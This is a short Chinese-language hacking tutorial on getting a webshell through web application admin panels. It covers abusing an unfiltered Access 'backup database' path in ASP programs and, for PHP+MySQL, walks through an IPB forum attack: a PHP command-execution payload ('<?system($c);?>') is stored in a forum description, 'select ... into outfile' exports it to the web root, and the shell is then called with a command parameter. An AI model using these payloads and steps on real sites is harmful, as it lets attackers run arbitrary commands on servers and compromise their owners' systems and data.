1.asp+acc/mssql程序



    主要是利用后台对access数据库的"备份数据库"或"恢复数据库"功能，"备份的数据库路径"等变量没有过滤导致可以把任意文件后缀改为asp，从而得到webshell，msssql版的程序就直接应用了access版的代码，导致sql版照样可以利用。具体方法和分析可以参考angel的文章《动网论坛7.0获得webshell的分析》。据我所知，目前还有很多的asp程序后台存在这样的漏洞，利用方法大同小异。

2.php+mysql程序

①.利用后台的数据查询功能

在有的程序后台提供直接对mysql数据查询功能，我们就可以利用它执行select ... into outfile查询输出php文件，因为所有的数据是存放在mysql里的，所以我们可以通过正常手段把我们的webshell代码插入mysql在利用select ... into outfile语句导出shell。我们这里用ipb论坛做个演示：

第一步：把我们的webshell代码写入数据库

随便找个可以写入的地方（注意对你输入的要没有进行过滤），这里我们就用后台的新建立个论坛，在论坛描叙里写入我们的shell代码<?system($c);?> 提交 ok这样就把我们的shell写入了数据库了。

第二步：导出webshell

我们来到"sql management"里的"mysql toolbox"在"run query"里写入语句：

select * from 123forums into outfile ''d:\shell.php''

^                 ^

shell代码所在的表       web目录绝对路径

如果主机mysql查询成功，我们就得到我们webshell：

http://127.0.0.1/test/shell.php?c=dir